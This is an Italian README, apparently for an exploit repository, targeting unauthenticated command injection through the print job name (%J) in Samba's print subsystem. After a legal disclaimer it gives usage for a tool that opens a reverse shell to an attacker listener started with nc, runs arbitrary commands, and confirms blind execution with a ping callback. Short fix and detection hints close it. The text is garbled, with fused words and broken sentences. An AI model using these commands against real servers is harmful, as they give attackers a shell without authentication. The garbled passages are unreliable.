
%J)Importante — leggi prima questo:
Questo repository eexploit.pysono forniti solo a scopo educativo e di ricerca. Non utilizzare questo codice contro sistemi, reti o servizi per cui non si dispone di esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale e contrario all'etica. Utilizzando questo codice accetti di rispettare le leggi applicabili e le politiche istituzionali.
Esecuzione remota di comandi non autenticata nel sottosistema di stampa di Samba. Quando un lavoro di stampa termina lo spooling, Samba esegue il print command configurato tramite system(), sostituendo %s (percorso del file di spool) e %J (nome del lavoro fornito dal client) nella stringa. Prima della correzione, il nome del lavoro veniva passato con la sola trasformazione ' → _ e nient'altro, quindi |, ;, &, spazi, <, > e backtick raggiungevano tutti la shell. Un print command che fa riferimento a %J è quindi un sink di shell injection e, poiché gli ospiti possono inviare lavori di stampa, il problema è pre-autenticazione.
print command esterno che fa riferimento a %J
(stile printing = sysv). printing = cups / iprint passano attraverso l'API CUPS e
non sono interessati.sudo apt install python3-samba
print command fa riferimento a %J.python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
# terminal 1: listener
nc -lvnp 4444
# terminal 2: fire the exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444
Dovresti ottenere una shell come account del servizio di stampa (ad es. nobody).
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
Poiché l'esecuzione è alla cieca (il comando viene eseguito lato server e non restituisce nulla sul canale RPC), confermala prima fuori banda, ad esempio con un callback ICMP che osservi con tcpdump -ni tun0 icmp:
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
print command = /usr/local/bin/print-helper %s '%J', rimuovi %J, oppure passa a printing = cups.smbd che genera shell (sh/bash/nc/python/curl) e documenta i nomi contenenti metacaratteri di shell.Ho creato una macchina su HackTheBox chiamata Abducted per mostrare la vulnerabilità e darti un esempio pratico di come gli attaccanti potrebbero sfruttarla in un ambiente configurato in modo errato.
| Argomento / opzione | Significato |
|---|
rhost | Host Samba di destinazione / IP |
lhost | IP del tuo listener |
lport | Porta del tuo listener |
-P, --printer | Nome della condivisione stampante per ospiti (default: HP-Reception) |
-c, --cmd | Esegue un comando arbitrario invece di una reverse shell |